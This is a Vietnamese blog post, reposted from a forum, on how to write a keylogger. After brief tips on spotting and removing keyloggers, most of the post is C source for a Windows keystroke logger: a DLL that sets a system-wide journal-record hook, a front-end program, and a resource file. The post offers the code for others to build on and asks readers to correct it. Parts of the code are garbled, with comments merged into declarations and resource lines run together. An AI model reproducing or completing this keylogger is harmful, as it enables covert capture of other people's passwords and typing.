Trao đổi với tôi

http://www.buidao.com

7/5/09

[Virus] Viết Keylogger như thế nào?

Link gốc: http://www.khkt.net/chu-de/22212/Viet-Keylogger-nhu-the-nao/
Keylogger:

Môt chương trình khống chế bàn phím, khi bị nhiễm chương trình này, tất cả những gì bạn type đều bị người khác biết rõ. Tất nhiên không ngoại trừ ID Y!M và password!

Cách khống chế Keylogger :
1/ Sử dụng program antiKeylogger và norton AV, nhưng với những Keylogger tự làm, hoặc khôgn nổi tiếng đôi khi 2 programme phải bó tay.

2/ Thường xuyên kiểm soát taskmanager, xem có chương trình nào mới đang được khởi động hay không. Nếu có lập tức lên www.google.com viết từ khóa là tên chương trình đang được khởi động và xem nó có phải keylog không. Nếu phải khởi động chương trình Hjackthis. Tìm quote (nguồn gốc) của nó và diệt ( tất nhiên phải tắt chuơng trình keylogger đang khởi động trước mới xóa được.) Có thể sử dụng killbox để diệt.

Còn sau đây là 1 số đoạn code dùng cho C trong việc viết 1 Keylog:
Cho file .dll:

CODE
#define WIN32_LEAN_AND_MEAN
#include "windows.h"
int FAR PASCAL LibMain(HINSTANCE hi);
LRESULT CALLBACK SysHookProc(int nState,WPARAM wp,LPARAM lp);
//--> public functionsint __export CALLBACK InitHookDll(HWND hMainWnd);
int __export CALLBACK InstallHook(int nState);
//<--

HINSTANCE hInstance;
BOOL Initialized=0;
HHOOK hHook=0;
char dllstring[32];
HWND hwndMain=0;
int FAR PASCAL LibMain(HINSTANCE hi)
{
hInstance=hi;
return 1;
}
int CALLBACK InitHookDll(HWND hMainWnd){ hwndMain=hMainWnd; Initialized=1; return 0;
}
int CALLBACK InstallHook(int nState)
{
if(!Initialized)return -1;
if(nState)hHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)(FARPROC)SysHookProc,hInstance,0);
else UnhookWindowsHookEx(hHook);
return 1;
}
LRESULT CALLBACK SysHookProc(int nState,WPARAM wp,LPARAM lp)
{
HDC hdc; char szBuffer[256];
int msg;
msg=((LPEVENTMSG)lp)->message;
if(nState>=0 && LoadString(hInstance,msg,szBuffer,255)!=0)
{
wsprintf((LPSTR)dllstring,"Zeichen: %c\tMessage:\t%s ",((LPEVENTMSG)lp)->paramL,szBuffer);
hdc=GetDC(hwndMain);
TabbedTextOut(hdc,1,50,(LPSTR)dllstring,strlen(dllstring),0,0,1);
ReleaseDC(hwndMain,hdc);
return 0;
}
return CallNextHookEx(hHook,nState,wp,lp);
}



Đoạn code cho file .cpp:

CODE

#define WIN32_LEAN_AND_MEAN
#include "windows.h"
//--> public DLL-functionsint FAR PASCAL InitHookDll(HWND hMainWnd);
int FAR PASCAL InstallHook(int nState);
//<--

int PASCAL WinMain(HINSTANCE hInst,HINSTANCE,LPSTR,int n);
LONG FAR PASCAL HookWndProc(HWND hwnd,UINT msg,WPARAM wp,LPARAM lp);
HINSTANCE hInstance;
HWND hwndMain;
LONG FAR PASCAL HookWndProc(HWND hwnd,UINT msg,WPARAM wp,LPARAM lp){
HMENU hMenu;
static int State=0;
switch(msg)
{
case WM_COMMAND: switch(LOWORD(wp))
{
case 204: hMenu=GetMenu(hwnd);
State^=1;
CheckMenuItem(hMenu,204,MF_BYCOMMAND|(State)?MF_CHECKED:MF_UNCHECKED);
InstallHook(State);
break;
}
break;
case WM_DESTROY: if(State)InstallHook(0); PostQuitMessage(0);
break;
}
return(DefWindowProc(hwnd,msg,wp,lp));
}
int PASCAL WinMain(HINSTANCE hInst,HINSTANCE,LPSTR,int n)
{
MSG msg;
WNDCLASS wc=
{
0,HookWndProc,0,0,hInst,0,LoadCursor(0,IDC_ARROW),(HBRUSH)COLOR_WINDOW,"HookMenu","hookclass"
};
hInstance = hInst;
RegisterClass(&wc);
hwndMain=CreateWindow("hookclass","locker vom hocker mit nem keylogger;-)", WS_OVERLAPPEDWINDOW,0,0,CW_USEDEFAULT,0,0,0,hInst,0);
ShowWindow(hwndMain,n);
InitHookDll(hwndMain);
while(GetMessage(&msg,0,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}



Code cho file .rc:

CODE

#include "windows.h"HookMenu MENUBEGIN POPUP "&Keylogger" BEGIN MENUITEM "aktiviert\tWH_JOURNALRECORD", 204 ENDENDSTRINGTABLE
{
WM_KEYDOWN,
"WM_KEYDOWN" WM_KEYUP,
"WM_KEYUP" WM_CHAR,
"WM_CHAR" WM_DEADCHAR,
"WM_DEADCHAR" WM_SYSKEYDOWN,
"WM_SYSKEYDOWN" WM_SYSKEYUP,
"WM_SYSKEYUP" WM_SYSCHAR,
"WM_SYSCHAR" WM_SYSDEADCHAR,
"WM_SYSDEADCHAR" WM_KEYLAST,
"WM_KEYLAST"
}



Đây là đoạn code mình sưu tầm được và có sửa một chút. CÁc bạn thấy nó sai chỗ nào chỉnh lại giùm nh3! Hy vọng nó sẽ hữu ích.
Thân!